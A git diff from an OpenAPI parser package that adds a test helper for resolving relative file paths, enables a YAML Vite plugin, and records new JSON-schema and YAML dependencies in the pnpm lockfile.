string + format: url diff --git a/packages/openapi-parser/tests/utils/index.ts b/packages/openapi-parser/tests/utils/index.ts new file mode 100644 index 0000000..357d811 --- /dev/null +++ b/packages/openapi-parser/tests/utils/index.ts @@ -0,0 +1 @@ +export * from './relativePath' diff --git a/packages/openapi-parser/tests/utils/relativePath.ts b/packages/openapi-parser/tests/utils/relativePath.ts new file mode 100644 index 0000000..0bac8f8 --- /dev/null +++ b/packages/openapi-parser/tests/utils/relativePath.ts @@ -0,0 +1,10 @@ +import path from 'node:path' + +export const relativePath = function (url: string, file: string) { + return path.join( + // test directory + new URL(url).pathname.split('/').slice(0, -2).join('/'), + // file in test directory + file, + ) +} diff --git a/packages/openapi-parser/tsconfig.json b/packages/openapi-parser/tsconfig.json index 6521ec5..373de1b 100644 --- a/packages/openapi-parser/tsconfig.json +++ b/packages/openapi-parser/tsconfig.json @@ -11,7 +11,8 @@ "outDir": "dist", "sourceMap": false, "lib": ["ESNext", "DOM"], - "target": "ESNext" + "target": "ESNext", + "types": ["@modyfi/vite-plugin-yaml/modules"] }, - "include": ["src/**/*", "tests/**/*"] + "include": ["src/**/*", "tests/**/*", "**/*.json", "**/*.yaml"] } diff --git a/packages/openapi-parser/vite.config.ts b/packages/openapi-parser/vite.config.ts index a1d0f31..3ee2223 100644 --- a/packages/openapi-parser/vite.config.ts +++ b/packages/openapi-parser/vite.config.ts @@ -1,8 +1,9 @@ +import ViteYaml from '@modyfi/vite-plugin-yaml' import dts from 'vite-plugin-dts' import { defineConfig } from 'vitest/config' export default defineConfig({ - plugins: [dts({ rollupTypes: true })], + plugins: [ViteYaml(), dts({ rollupTypes: true })], build: { lib: { entry: ['src/index.ts'], diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 658e682..3e5783b 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -44,6 +44,12 @@ importers: '@humanwhocodes/momoa': specifier: ^3.0.1 version: 3.0.1 + '@hyperjump/browser': + specifier: ^1.1.3 + version: 1.1.3 + '@hyperjump/json-schema': + specifier: ^1.7.2 + version: 1.7.2(@hyperjump/browser@1.1.3) '@types/node': specifier: ^20.11.19 version: 20.11.19 @@ -77,7 +83,13 @@ importers: vite: specifier: ^5.1.4 version: 5.1.4(@types/node@20.11.19) + yaml: + specifier: ^2.3.4 + version: 2.3.4 devDependencies: + '@modyfi/vite-plugin-yaml': + specifier: ^1.1.0 + version: 1.1.0(vite@5.1.4) '@types/js-yaml': specifier: ^4.0.9 version: 4.0.9 @@ -603,6 +615,47 @@ packages: engines: {node: '>=18'} dev: false + /@hyperjump/browser@1.1.3: + resolution: {integrity: sha512-H7DtqWbP3YvdbZFTLln3BGPg5gt9B9aUxblIHyFRLMYGoNyq0yJN6LYRb3ZwYcRsxytAOwL6efnEKNFzF91iQQ==} + engines: {node: '>=18.0.0'} + dependencies: + '@hyperjump/json-pointer': 1.0.1 + '@hyperjump/uri': 1.2.2 + content-type: 1.0.5 + just-curry-it: 5.3.0 + dev: false + + /@hyperjump/json-pointer@1.0.1: + resolution: {integrity: sha512-vV2pSc7JCwbKEMzh8kr/ICZdO+UZbA3aZ7N8t7leDi9cduWKa9yoP5LS04LnsbErlPbUNHvWBFlbTaR/o/uf7A==} + dependencies: + just-curry-it: 5.3.0 + dev: false + + /@hyperjump/json-schema@1.7.2(@hyperjump/browser@1.1.3): + resolution: {integrity: sha512-54Xe9RmpUye9aBZGYPcSAHooFB5ZLSpS5HM4rfFPVhoGi8rC2IdbpS19G50JtwiPy20Bc78dtREawHtFFAJJlA==} + peerDependencies: + '@hyperjump/browser': ^1.1.0 + dependencies: + '@hyperjump/browser': 1.1.3 + '@hyperjump/json-pointer': 1.0.1 + '@hyperjump/pact': 1.3.0 + '@hyperjump/uri': 1.2.2 + content-type: 1.0.5 + fastest-stable-stringify: 2.0.2 + just-curry-it: 5.3.0 + uuid: 9.0.1 + dev: false + + /@hyperjump/pact@1.3.0: + resolution: {integrity: sha512-/UIKatOtyZ3kN4A7AQmqZKzg/6es9jKyeWbfrenb2rDb3I9W4ZrVZT8q1zDrI/G+849I6Eq0ybzV1mmEC9zoDg==} + dependencies: + just-curry-it: 5.3.0 + dev: false + + /@hyperjump/uri@1.2.2: + resolution: {integrity: sha512-Zn8AZb/j54KKUCckmcOzKCSCKpIpMVBc60zYaajD8Dq/1g4UN6TfAFi+uDa5o/6rf+I+5xDZjZpdzwfuhlC0xQ==} + dev: false + /@isaacs/cliui@8.0.2: resolution: {integrity: sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==} engines: {node: '>=12'} @@ -720,6 +773,19 @@ packages: resolution: {integrity: sha512-9b8mPpKrfeGRuhFH5iO1iwCLeIIsV6+H1sRfxbkoGXIyQE2BTsPd9zqSqQJ+pv5sJ/hT5M1zvOFL02MnEezFug==} dev: true + /@modyfi/vite-plugin-yaml@1.1.0(vite@5.1.4): + resolution: {integrity: sha512-L26xfzkSo1yamODCAtk/ipVlL6OEw2bcJ92zunyHu8zxi7+meV0zefA9xscRMDCsMY8xL3C3wi3DhMiPxcbxbw==} + peerDependencies: + vite: ^3.2.7 || ^4.0.5 || ^5.0.5 + dependencies: + '@rollup/pluginutils': 5.1.0 + js-yaml: 4.1.0 + tosource: 2.0.0-alpha.3 + vite: 5.1.4(@types/node@20.11.19) + transitivePeerDependencies: + - rollup + dev: true + /@nodelib/fs.scandir@2.1.5: resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==} engines: {node: '>= 8'} @@ -1165,7 +1231,6 @@ packages: /argparse@2.0.1: resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==} - dev: false /array-buffer-byte-length@1.0.1: resolution: {integrity: sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg==} @@ -1393,6 +1458,11 @@ packages: resolution: {integrity: sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==} dev: true + /content-type@1.0.5: + resolution: {integrity: sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==} + engines: {node: '>= 0.6'} + dev: false + /convert-source-map@2.0.0: resolution: {integrity: sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==} dev: true @@ -1719,6 +1789,10 @@ packages: resolution: {integrity: sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==} dev: true + /fastest-stable-stringify@2.0.2: + resolution: {integrity: sha512-bijHueCGd0LqqNK9b5oCMHc0MluJAx0cwqASgbWMvkO01lCYgIhacVRLcaDz3QnyYIRNJRDwMb41VuT6pHJ91Q==} + dev: false + /fastq@1.17.1: resolution: {integrity: sha512-sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w==} dependencies: @@ -2252,7 +2326,6 @@ packages: hasBin: true dependencies: argparse: 2.0.1 - dev: false /jsesc@2.5.2: resolution: {integrity: sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==} @@ -2295,6 +2368,10 @@ packages: engines: {node: '>=0.10.0'} dev: false + /just-curry-it@5.3.0: + resolution: {integrity: sha512-silMIRiFjUWlfaDhkgSzpuAyQ6EX/o09Eu8ZBfmFwQMbax7+LQzeIU2CBrICT6Ne4l86ITCGvUCBpCubWYy0Yw==} + dev: false + /kind-of@6.0.3: resolution: {integrity: sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==} engines: {node: '>=0.10.0'} @@ -3322,6 +3399,11 @@ packages: is-number: 7.0.0 dev: true + /tosource@2.0.0-alpha.3: + resolution: {integrity: sha512-KAB2lrSS48y91MzFPFuDg4hLbvDiyTjOVgaK7Erw+5AmZXNq4sFRVn8r6yxSLuNs15PaokrDRpS61ERY9uZOug==} + engines: {node: '>=10'} + dev: true + /trim-newlines@3.0.1: resolution: {integrity: sha512-c1PTsA3tYrIsLGkJkzHF+w9F2EyxfXGo4UyJc4pFL++FMjnq0HJS69T3M7d//gKrFKwy429bouPescbjecU+Zw==} engines: {node: '>=8'} @@ -3491,6 +3573,11 @@ packages: dependencies: punycode: 2.3.1 + /uuid@9.0.1: + resolution: {integrity: sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA==} + hasBin: true + dev: false + /v8-to-istanbul@9.2.0: resolution: {integrity: sha512-/EH/sDgxU2eGxajKdwLCDmQ4FWq+kpi3uCmBGpw1xJtnAxEjlD8j8PEiGWpCIMIs3ciNAgH0d3TTJiUkYzyZjA==} engines: {node: '>=10.12.0'} @@ -3775,6 +3862,11 @@ packages: resolution: {integrity: sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==} dev: true + /yaml@2.3.4: + resolution: {integrity: sha512-8aAvwVUSHpfEqTQ4w/KMlf3HcRdt50E5ODIQJBw1fQ5RL34xabzxtUlzTXVqc4rkZsPbvrXKWnABCD7kWSmocA==} + engines: {node: '>= 14'} + dev: false + /yargs-parser@18.1.3: resolution: {integrity: sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==} engines: {node: '>=6'}